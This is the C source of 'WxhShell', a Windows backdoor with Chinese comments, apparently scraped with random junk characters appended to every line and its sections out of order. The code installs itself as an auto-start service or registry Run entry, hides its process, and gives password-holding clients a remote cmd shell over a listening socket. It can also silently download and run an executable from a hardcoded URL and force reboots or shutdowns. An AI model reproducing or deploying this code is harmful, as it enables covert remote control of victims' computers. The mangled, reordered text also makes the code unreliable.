    if(Boot(SHUTDOWN)) v?0r`<Mn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ik"sq}u_]E  
    else { tV_t6x_.  
    closesocket(wsh); UWZa|I~:J  
    ExitThread(0); 3)ma\+< 6  
    } RbGJ)K!  
    break; &n[~!%(  
    } $B#6tk~u  
  // 获取shell l"{Sm6:;-  
  case 's': { T1` |~Z?g-  
    CmdShell(wsh); rrnNn'  
    closesocket(wsh); zOHypazOTq  
    ExitThread(0); ~ ^>417>  
    break; p1D[YeF4  
  } X; 5Jb  
  // 退出 SR^_cpZoi  
  case 'x': { 0l=+$& D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' JdkUhq1V  
    CloseIt(wsh); ~"lJ'&J}  
    break; /({;0I*!i  
    } dl5=q\1=  
  // 离开 Um)>2|rp}  
  case 'q': { @ct+7v~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4Hb $0l  
    closesocket(wsh); E15vq6DKF  
    WSACleanup(); g7CXlT0Q6  
    exit(1); KECElK3uj  
    break; 0@5E|<A  
        } >r)X:K+I  
  } v8/6wy?  
  } D -IR!js ]  
b@t5`Y-+K  
  // 提示信息 6al=Cwf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C}?0`!Cc%  
} V8-h%|$p3W  
  } TFR( 4W  
B|%tE{F  
  return; Nt:8ogk/  
} }wwe}E-e  
-6=<#9R  
// shell模块句柄 s?3i) Ymr  
int CmdShell(SOCKET sock) /}5B&TZ=(3  
{ V5D2\n3A  
STARTUPINFO si; ]lS@}W\  
ZeroMemory(&si,sizeof(si)); ?@R")$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8[bkHfI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O'NW Ebl/  
PROCESS_INFORMATION ProcessInfo; 68R1AqU_  
char cmdline[]="cmd"; 7Bz*r0 9S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X6RQqen3:  
  return 0; ~^N]y b  
} !q4x~G0d  
kGN||h  
// 自身启动模式 +&ZX$  
int StartFromService(void) >O]s&34  
{ fP%Fyg^k  
typedef struct y/_wx(2  
{ dl l%4Sd  
  DWORD ExitStatus; GlR~%q-jiQ  
  DWORD PebBaseAddress; xi'<y  
  DWORD AffinityMask; %85Icg  
  DWORD BasePriority; !rTmR@e$/  
  ULONG UniqueProcessId; tSv0" L  
  ULONG InheritedFromUniqueProcessId; ])y{BlZ  
}   PROCESS_BASIC_INFORMATION; q42FP q  
X;fy\HaU  
PROCNTQSIP NtQueryInformationProcess; 3@5p"X  
iRV ;Fks  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }uX|5&=~f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m/USC'U%  
oEzDMImJ5  
  HANDLE             hProcess; cfoYnM  
  PROCESS_BASIC_INFORMATION pbi; o;J;*~g  
@R:#"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V 2kWiyN  
  if(NULL == hInst ) return 0; ValS8V*N1  
WOndE=(V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t&c&KFK)I&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VEh]p5D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d$1 #<-yP  
rFXSO=P?Z  
  if (!NtQueryInformationProcess) return 0; qw:9zYG}qW  
R40W'N 1%q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]XrE  
  if(!hProcess) return 0; Hc!!tbBQ  
."JzDs   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nN{dORJlx  
N+>'J23d!  
  CloseHandle(hProcess); cS~!8`Fwy  
%F$N#YG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DJ:38_F  
if(hProcess==NULL) return 0; J'7 y   
x*mc -&N  
HMODULE hMod; z<QIuq  
char procName[255]; ku3D?D:V  
unsigned long cbNeeded; u[`v&e  
m'.T2e.u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G^" H*a  
_[$# b]V  
  CloseHandle(hProcess);  wF;B@  
S_T  
if(strstr(procName,"services")) return 1; // 以服务启动 T5{T[YdX<  
]S]"`;Wh  
  return 0; // 注册表启动 s*{mT6s+T  
} x[}06k'  
vcOsq#UW  
// 主模块 %QE5<2k  
int StartWxhshell(LPSTR lpCmdLine) {fElto   
{ 6BPAux.]  
  SOCKET wsl; [#zE. TW  
BOOL val=TRUE; Bb_}YU2#  
  int port=0; 45r|1<Ro  
  struct sockaddr_in door; iiehrK&T !  
67ZYtA|t  
  if(wscfg.ws_autoins) Install(); |%3O) B  
MyM+C}  
port=atoi(lpCmdLine); 7Ff?Ysr  
E.4n}s  
if(port<=0) port=wscfg.ws_port; lSs^A@s  
-Cml0}.O   
  WSADATA data; |#:=\gugh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cl-S=q@>V  
0JrK/Ma3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T!&jFy*W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1uY3[Z9S  
  door.sin_family = AF_INET; lxCX-a`@p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y 2cL2c$BT  
  door.sin_port = htons(port); O '@m4@L   
d{iL?>'?^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^,~N7`  
closesocket(wsl); ~t$mw,  
return 1; n8 GF8a  
} i)GeX:  
*u<rU,C8  
  if(listen(wsl,2) == INVALID_SOCKET) { } =xI3;7  
closesocket(wsl); ;7wwY$PBH  
return 1; K:Mujx:  
} 9PUa?Bc`=  
  Wxhshell(wsl); `X3Xz!  
  WSACleanup(); [}jj<!9A_;  
0I(uddG3  
return 0; JgxE|#*7U  
HDa~7wE  
} ,*q#qW!!  
+p8qsT#7  
// 以NT服务方式启动 [vZfH!vLP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x:=0.l#  
{ rsd2v9  
DWORD   status = 0; >cBGw'S  
  DWORD   specificError = 0xfffffff; 7=$+k]U8  
6#OL ;Y]_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `wP/Zp{Hy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E \ K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N8Rm})  
  serviceStatus.dwWin32ExitCode     = 0; 7Qm;g-)f  
  serviceStatus.dwServiceSpecificExitCode = 0; CsJ)Z%4_  
  serviceStatus.dwCheckPoint       = 0; UY?i E=  
  serviceStatus.dwWaitHint       = 0;  #a|6Q 8  
Z?!JV_K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +Q@/F~1@6@  
  if (hServiceStatusHandle==0) return; va`l*N5  
ccHLL6F{  
status = GetLastError(); ;zfQ3$@9  
  if (status!=NO_ERROR) {bAWc.  
{ R@)'Bs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f_Wkg)g  
    serviceStatus.dwCheckPoint       = 0; %igFHh?  
    serviceStatus.dwWaitHint       = 0; bLU^1S8Z  
    serviceStatus.dwWin32ExitCode     = status; ` <l/GwtAJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1qB!RIau  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lpM>}0v   
    return; M<SbVP|V "  
  } hQd@bN8  
i6!T`Kau  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q1O_CC}  
  serviceStatus.dwCheckPoint       = 0; $UFge%`,q@  
  serviceStatus.dwWaitHint       = 0; 0)6i~MglY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NB!'u) lFD  
} t%]^5<+X58  
~$?y1Yv  
// 处理NT服务事件,比如:启动、停止 VuX >  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :_{{PY0PK  
{ :{TmR3.  
switch(fdwControl) X]&;8  
{ okK/i  
case SERVICE_CONTROL_STOP: &viwo}ls0  
  serviceStatus.dwWin32ExitCode = 0;  Gh)sw72  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ] dm1Qm  
  serviceStatus.dwCheckPoint   = 0; g~ppPAH  
  serviceStatus.dwWaitHint     = 0; 2$SofG6D}  
  { K#JabT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yKe*<\  
  } azR;*j8Q'  
  return; E&s'uE=w+  
case SERVICE_CONTROL_PAUSE: 5 CY_Ay\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T/Wm S?  
  break; 'o)ve(  
case SERVICE_CONTROL_CONTINUE: m! '1$G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l~Ie#vak  
  break; Z3abem<Q  
case SERVICE_CONTROL_INTERROGATE:  23(E3:.  
  break; 7q2"b?|h  
}; c:@OX[##  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O%fp;Y{`  
} V~J2s  
*Sz{DE1U  
// 标准应用程序主函数 Ddm76LS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MWn L#!  
{ QNa}M{5>h  
?2;n=&ZM  
// 获取操作系统版本 eUKl Co  
OsIsNt=GetOsVer(); a7v[l04  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yhkQFB%gv  
Y)4Nydq  
  // 从命令行安装 49J+&G?)j  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~0^,L3M  
X!+Mgh6  
  // 下载执行文件 2YE]?!   
if(wscfg.ws_downexe) { dE}b8|</  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lx:N!RDw  
  WinExec(wscfg.ws_filenam,SW_HIDE); U3 8wGSG  
} @;T #+!  
"! 6 B5Oz  
if(!OsIsNt) { (E1>}  
// 如果时win9x,隐藏进程并且设置为注册表启动 E_' n4@}Cx  
HideProc(); $vGEY7,  
StartWxhshell(lpCmdLine); J_wz'eIb0  
} s[B6%DI/5  
else ;\*Od?1  
  if(StartFromService()) u$%#5_k  
  // 以服务方式启动 \]`(xxt1  
  StartServiceCtrlDispatcher(DispatchTable); rIFC#Jd/  
else P7x?!71?L  
  // 普通方式启动 qnfRN'  
  StartWxhshell(lpCmdLine); U_{JM`JY  
W];6u  
return 0; ep}/dBg  
} <9@]|  
X.AOp  
QUw5~n ;-  
=ci5&B?  
=========================================== "0 PN  
iBiA0 W  
^$Io;*N4  
' bw,K*  
,/b/O4`;y  
3F'dT[;  
" @[b:([  
8}#Lo9:,d  
#include <stdio.h> z3jz pmz  
#include <string.h> -0r "#48(%  
#include <windows.h> s=~7m.m  
#include <winsock2.h> Y&Lk4  
#include <winsvc.h> zT-"kK  
#include <urlmon.h> t02"v4_i  
VUv.Tx]Z[  
#pragma comment (lib, "Ws2_32.lib") x[>_I1TJ  
#pragma comment (lib, "urlmon.lib") !BikF4Y1L&  
g~H? l3v  
#define MAX_USER   100 // 最大客户端连接数 GK+\-U)v  
#define BUF_SOCK   200 // sock buffer pH:|G  
#define KEY_BUFF   255 // 输入 buffer _>m*`:Wb  
:lQjy@J  
#define REBOOT     0   // 重启 ^-;Z8M  
#define SHUTDOWN   1   // 关机 jp]geV54  
R:R@sU  
#define DEF_PORT   5000 // 监听端口  ~0'l,  
u R%R]X  
#define REG_LEN     16   // 注册表键长度 6:z&ukq E  
#define SVC_LEN     80   // NT服务名长度 RH4n0 =2  
&q}@[ )V4  
// 从dll定义API +,^M{^%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t RyGxqiG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U`p<lxRgQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /"{ ,m!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l<: E+lU  
bNU^tL3QZ  
// wxhshell配置信息 kpw4Mq@  
struct WSCFG { *3 8Y;{ 4  
  int ws_port;         // 监听端口 2^ZPO4|  
  char ws_passstr[REG_LEN]; // 口令 KdpJ[[Ug/  
  int ws_autoins;       // 安装标记, 1=yes 0=no wEc5{ b5M  
  char ws_regname[REG_LEN]; // 注册表键名 ye7&y4v+  
  char ws_svcname[REG_LEN]; // 服务名 [f(^vlK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j2qfEvU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0a%ui2k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iC+H;s5<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w&cyGd D5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {lUl+_58  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TXl9c 6  
wSyu^KDz  
}; B[|/wHMsT}  
W1`ZS*12D  
// default Wxhshell configuration ~2}ICU5  
struct WSCFG wscfg={DEF_PORT, (3r,PS@Qq@  
    "xuhuanlingzhe", jt r=8OiL  
    1, 4:PP[2?  
    "Wxhshell",  Ph{+uI  
    "Wxhshell", CHw_?#h  
            "WxhShell Service", V\hct$ 7Vm  
    "Wrsky Windows CmdShell Service", =e/4Gs0*  
    "Please Input Your Password: ", 7uNI  
  1, A3pQ?d[  
  "http://www.wrsky.com/wxhshell.exe", (UT*T  
  "Wxhshell.exe" 9cj-v}5j  
    }; 8N_rJ)f  
HZ=yfJs nc  
// 消息定义模块 $*-L8An?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~At.V+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X}Z%@tL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IfCqezd  
char *msg_ws_ext="\n\rExit."; k ,(:[3J  
char *msg_ws_end="\n\rQuit."; <!>}t a  
char *msg_ws_boot="\n\rReboot..."; HbDB?s<  
char *msg_ws_poff="\n\rShutdown..."; 8E%*o  
char *msg_ws_down="\n\rSave to "; qW>J-,61/  
5&@U T  
char *msg_ws_err="\n\rErr!"; E_rC"_Zte  
char *msg_ws_ok="\n\rOK!"; Z+4Oa f!  
6D(m8  
char ExeFile[MAX_PATH]; Lpf=VyqC  
int nUser = 0; CnYX\^Ow  
HANDLE handles[MAX_USER]; /U]5#'i  
int OsIsNt; Wh_c<E}&  
W%cPX0  
SERVICE_STATUS       serviceStatus; \c}r6xOr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V%=t2+  
.utL/1Ej  
// 函数声明 b;l%1x9r  
int Install(void); )D*xOajo+l  
int Uninstall(void); P[i/o#  
int DownloadFile(char *sURL, SOCKET wsh); iNSJOS  
int Boot(int flag); fZgU@!z  
void HideProc(void); p~ItHwiT  
int GetOsVer(void); +JG"eh&J"H  
int Wxhshell(SOCKET wsl); M6!brj\[|  
void TalkWithClient(void *cs); q% 9oGYjvQ  
int CmdShell(SOCKET sock); @7'gr>_E  
int StartFromService(void); rzLl M  
int StartWxhshell(LPSTR lpCmdLine); {!h[@f4  
Yg.u8{H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j(JI$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 69yyVu_  
7RJW  
// 数据结构和表定义 -',Y;0b%  
SERVICE_TABLE_ENTRY DispatchTable[] = |D:0BATRP  
{ d*HAKXd&:j  
{wscfg.ws_svcname, NTServiceMain}, q'tT)IgD  
{NULL, NULL} iwJgU b  
}; `^vD4qD|  
UUq9UV-h  
// 自我安装 1| DI'e[X  
int Install(void) Q2JjBV<  
{ m(Ynl=c  
  char svExeFile[MAX_PATH]; rfoCYsX'  
  HKEY key; OQvJdjST  
  strcpy(svExeFile,ExeFile); $h9!"f[|j  
|0-L08DW  
// 如果是win9x系统,修改注册表设为自启动 dM$S|, H  
if(!OsIsNt) { !ZW0yCwLQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VuW19-G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }=FQKqtC  
  RegCloseKey(key); WAbhB A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W+X zU"l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]\lw^.%  
  RegCloseKey(key); FC#Q tu~J  
  return 0; C2v7(  
    } (%Rs&/vU~  
  } (k~c]N)v  
} Z# 04 ]  
else { w=$_',5#Z  
]\U'_G2]  
// 如果是NT以上系统,安装为系统服务 &#l M$7/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wwz{98,K  
if (schSCManager!=0) @ 2_&ti  
{ I_rVeMw=  
  SC_HANDLE schService = CreateService we9AB_y  
  ( yrX]w3kr%  
  schSCManager, rIb{=';  
  wscfg.ws_svcname, ; o\wSHc  
  wscfg.ws_svcdisp, +#no$m.bH  
  SERVICE_ALL_ACCESS, mVLGQlvVK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nj  
  SERVICE_AUTO_START, 5{> cfN\q  
  SERVICE_ERROR_NORMAL, "x11 YM{F  
  svExeFile, I f(_$>  
  NULL, ra1hdf0"  
  NULL, *bx cq  
  NULL, n|.;g!QDA  
  NULL, XN@5TZoaW  
  NULL .+<K-'&=  
  ); tdm /U  
  if (schService!=0) e+mD$(h  
  { Z6p>R;9n  
  CloseServiceHandle(schService); R/W&~t  
  CloseServiceHandle(schSCManager); H;6V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` T!O )5  
  strcat(svExeFile,wscfg.ws_svcname); oaHBz_pg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -vyC,A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -Da_#_F  
  RegCloseKey(key); R+\5hI@ >i  
  return 0; ?S_S.Bd  
    } T1E=<q4  
  } " O4Z).5q3  
  CloseServiceHandle(schSCManager); P1kd6]s  
} >\'yj| U,  
} O  tr@jgw  
SO)??kQ{U  
return 1; e|I5Nx2)  
} n;U|7it7  
;8@A7`^  
// 自我卸载 {9)f~EbM!  
int Uninstall(void) _AFgx8  
{ yVL~SH|  
  HKEY key; 'BC-'Ot  
0ode&dB  
if(!OsIsNt) { 2eNm2;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WIg"m[aIs  
  RegDeleteValue(key,wscfg.ws_regname); <AVpFy  
  RegCloseKey(key); R:E`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l$FHL2?Cp  
  RegDeleteValue(key,wscfg.ws_regname); jkbz8.K  
  RegCloseKey(key); Kl* ##qw!  
  return 0; aU3&=aN+  
  } /4|qfF3  
} (HTVSC%=  
} ]?kf;A@  
else { +,smjg:O  
'j.{o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *"#>Ov>  
if (schSCManager!=0) = *sP, 6  
{ ,Zdc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D@2Tx  
  if (schService!=0) 8Hhe&B  
  { cv^^NgQ  
  if(DeleteService(schService)!=0) { K1Tzy=Z9j  
  CloseServiceHandle(schService); 6)TFb,  
  CloseServiceHandle(schSCManager); DI*xf Kt  
  return 0; xTe?*  
  } }p#S;JZRu+  
  CloseServiceHandle(schService); 4[6A~iC_  
  } $, =n  
  CloseServiceHandle(schSCManager); `Z{7Ut^)  
} 6gp3n;D  
} nI 6`/  
_h5@3>b3r  
return 1; +%FG ti$[  
} /_LUys/0  
MOj 0"x)  
// 从指定url下载文件 0s4%22  
int DownloadFile(char *sURL, SOCKET wsh) KB-7]H  
{ ZJ!/49c*>  
  HRESULT hr; $ @^n3ZQ4  
char seps[]= "/"; 'j}%ec1  
char *token; bzZEwMc6  
char *file; f$P pFSY4  
char myURL[MAX_PATH]; (ttO O45  
char myFILE[MAX_PATH]; A }dl@  
9m<>G3Jr  
strcpy(myURL,sURL); 5:O"T  
  token=strtok(myURL,seps); *iYs,4  
  while(token!=NULL) -PxA~((g5  
  { 6N]v9uXZ  
    file=token; o\2#o5#  
  token=strtok(NULL,seps); wKwireOs  
  } -FJ 5N}R  
Ua( !:5q?  
GetCurrentDirectory(MAX_PATH,myFILE); NC0x!tJ#7  
strcat(myFILE, "\\"); rNZN}g  
strcat(myFILE, file); @ij}|k%*  
  send(wsh,myFILE,strlen(myFILE),0); XO\P4x :c  
send(wsh,"...",3,0); ]` 3;8,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Q)lJTs  
  if(hr==S_OK) ^f>+5G  
return 0; !k&<  
else c>I^SY(r%  
return 1; JgEpqA12  
m\j'7mZ1  
} KbSIKj  
xez~Yw2  
// 系统电源模块 J8(v65  
int Boot(int flag) 5y@JMQSO  
{ wz;IKdk[  
  HANDLE hToken; "]`!#5j^WP  
  TOKEN_PRIVILEGES tkp; N-;e" g  
RBiDU}j  
  if(OsIsNt) { '@rGX+"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A"p7N?|%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q-(twh  
    tkp.PrivilegeCount = 1; oT.g@kf=H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $--W,ov5j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l3-;z)SgH  
if(flag==REBOOT) { %J7 ;b<}To  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 03[(dRK>=  
  return 0; #O qfyY!  
} W~FcU+a  
else { Id|38   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =((#kDrN  
  return 0; -bduB@#2d  
} z1_\P) M  
  }  !3}vl Y1  
  else { JT,8/o  
if(flag==REBOOT) { V#=o<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Il>!C\hU  
  return 0; 5q}680s9+  
} td&W>(3d  
else { D8qZh1w%A|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 80LKxA;5N  
  return 0; #GY;.,  
} &Nt4dp`qj  
} S2h?Q $e3  
5L%A5C&|  
return 1; },e f(  
} CFkM}`v0  
7xz|u\?_2  
// win9x进程隐藏模块 N)WAzH  
void HideProc(void) 3u3(BY{"\F  
{ `)/G5 fB  
sTU`@}}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '/J}T -,Z  
  if ( hKernel != NULL ) z;x $tO  
  { inBBU[Sl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eI/9uR%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ng;,;o.  
    FreeLibrary(hKernel); %c*azo.  
  } :)SLi  
Nl"< $/  
return; %tT&/F  
} CD;C z*c  
gT 22!  
// 获取操作系统版本 t-)C0<  
int GetOsVer(void) 1D sgU6"  
{ G>qzAgA  
  OSVERSIONINFO winfo; b)tvXiO1>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S~.:B2=5K  
  GetVersionEx(&winfo); %qfql  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VPx"l5\  
  return 1; u_[s+ J/  
  else llXyM */  
  return 0; ?6P P_QY  
} hz\Fq1  
C0|<+3uND=  
// 客户端句柄模块 tIR"y:U+  
int Wxhshell(SOCKET wsl) Mhc!v, D$  
{ -K9bC3H  
  SOCKET wsh; T0J"Wr>WY  
  struct sockaddr_in client; n a,j  
  DWORD myID; B{^o}:e  
%"Q{|}  
  while(nUser<MAX_USER) K+5S7wFDZ  
{ %]S~PKx  
  int nSize=sizeof(client); U?P5 cN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0wU8PZ Nj  
  if(wsh==INVALID_SOCKET) return 1; CZcn X8P'8  
xL,Lb}){%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z6F>SL  
if(handles[nUser]==0) n>T1KC%  
  closesocket(wsh); k7yQEU  
else ~( 54-9&  
  nUser++; ,iY/\ U''  
  } # Y/ .%ch.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K<'L7>s3lA  
E$"( :%'v  
  return 0; l3dGe'  
} 0vbiq  
JDrh-6Zgj  
// 关闭 socket Y>LgpO.  
void CloseIt(SOCKET wsh) a<9cj@h  
{ <8nl}^d5  
closesocket(wsh); (,<&H;,8  
nUser--; H-$)@  
ExitThread(0); E#?*6/  
} ICwhqH&  
G?e"A0,  
// 客户端请求句柄 9N5ptdP.d  
void TalkWithClient(void *cs) SA@MJ>Z  
{ Ej\EuX  
:a3  +f5  
  SOCKET wsh=(SOCKET)cs; %"Tn=fZIF  
  char pwd[SVC_LEN]; D.elE:  
  char cmd[KEY_BUFF]; wmbjL=f Ia  
char chr[1]; VU6nu4   
int i,j; # hvLv  
ma@3BiM  
  while (nUser < MAX_USER) { v).V&":  
aVsA5t\zi  
if(wscfg.ws_passstr) {  Gh;Ju[6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /c/t_xB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Ohm]g8{2  
  //ZeroMemory(pwd,KEY_BUFF); DrE +{Spm  
      i=0; VbR /k,Co  
  while(i<SVC_LEN) { Esh3 cn4  
O9y4.`a"  
  // 设置超时 t}r`~AEa!  
  fd_set FdRead; pUtd_8  
  struct timeval TimeOut; o|#Mq"od  
  FD_ZERO(&FdRead); 0IU>KGJ-0s  
  FD_SET(wsh,&FdRead); V?"X0>]0  
  TimeOut.tv_sec=8; m>dZ n  
  TimeOut.tv_usec=0; ? tre)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i oCoFj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g=w,*68vuy  
]C.x8(2!f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jSa9UD  
  pwd=chr[0]; Uawf,57v<  
  if(chr[0]==0xd || chr[0]==0xa) { (bEX"U-  
  pwd=0; 05et h  
  break; .Cv0Ze  
  } Nu !(7  
  i++; _ 4:@+{  
    } 2uonT,W  
_hP siZY9  
  // 如果是非法用户,关闭 socket ,nn5LQ|l.j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r(sQI# P  
} (eX9O4  
w`Q"mx*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6u-@_/O5R3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wn;B~  
~AbnksR  
while(1) { h{zE;!+)D  
[Xp{z tGE  
  ZeroMemory(cmd,KEY_BUFF); yn&AMq ]o  
z{h#l!Edh  
      // 自动支持客户端 telnet标准   hw[jVx  
  j=0; OO%< ~H  
  while(j<KEY_BUFF) { $@m)8T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VAkZ@ u3'~  
  cmd[j]=chr[0]; 7U=|>)Q0s  
  if(chr[0]==0xa || chr[0]==0xd) { BcJ]bIbKb  
  cmd[j]=0; ?f1PQ  
  break; [hy:BV6H+  
  } 5#jna9Xc  
  j++; ejq2]^O4c  
    } +uR|0Jo8X  
>dH5n$Gb  
  // 下载文件 X8!=Xjl)  
  if(strstr(cmd,"http://")) { NOOP_:(7H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e&&;"^@-  
  if(DownloadFile(cmd,wsh)) KP)BD;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qGndh  
  else k~|nU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0,)Ao8  
  } Lo, z7"8  
  else { <pd6,l\  
r,p6J7/lfS  
    switch(cmd[0]) { qX'w}nJ}H}  
  gv=mz,z  
  // 帮助 @g|E b}t  
